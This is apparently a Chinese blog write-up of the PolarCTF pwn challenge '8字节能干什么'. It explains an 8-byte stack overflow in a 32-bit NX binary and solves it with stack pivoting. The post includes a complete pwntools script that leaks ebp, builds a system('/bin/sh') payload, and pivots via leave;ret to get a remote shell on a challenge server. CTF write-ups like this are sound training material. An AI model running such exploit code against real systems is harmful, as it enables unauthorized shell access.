【PolarCTF】8字节能干什么

原题网址:PolarD&N

下载完文件直接拖入虚拟机,然后就是固定流程。

查看文件信息

可以知道这是个32位的文件,开了NX保护。

然后就IDA进行反编译

从main函数进入vuln函数,直接就是看输入函数,然后很快就发现了有栈溢出的漏洞。

但是这时发现另一个问题,只能溢出8个字节,只能覆盖到ebp和ret,没办法构造栈结构,这可怎么办呢?

然后就是去找了度娘,发现这种问题可以通过栈迁移来解决问题。

就是没有地方构造栈结构,我们就自己找地方去构造。

关于栈迁移详情,移步大佬博客:PWN从入门到放弃(12)——栈溢出之栈迁移 – 7i4n2h3n9's Blog

原理什么的都有了,解决方法也有了,咱们直接就是构造payload获得权限。

from pwn import *

#r = process("./ppp")
r = remote("123.60.135.228",2065)
elf = ELF("./ppp")

context.os = 'linux'
context.arch = elf.arch
context.log_level = 'debug'

payload = b'a' * 0x2f 
payload += b'b'

r.send(payload)
r.recvuntil("b")

ebp_addr = u32(r.recv(4))

buf_addr = ebp_addr - 0x40
binsh_addr = buf_addr + 0x10
system_addr = 0x080483e0

leave_ret = 0x08048488

payload1 = b'aaaa' 
payload1 += p32(system_addr) 
payload1 += p32(1) 
payload1 += p32(buf_addr + 0x10) 
payload1 += b'/bin/sh'

payload2 = payload1.ljust(0x30, b'\x00') 
payload2 += p32(buf_addr) 
payload2 += p32(leave_ret)

r.send(payload2)
r.recv()

r.interactive()

注意:如果运行报错name 'remote' is not defined,说明文件名和库名不能重叠!然后把文件名都改掉就可以了。

我就是没改,然后一直报错,然后上网搜到的解决方法。

然后直接运行,大功告成!

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值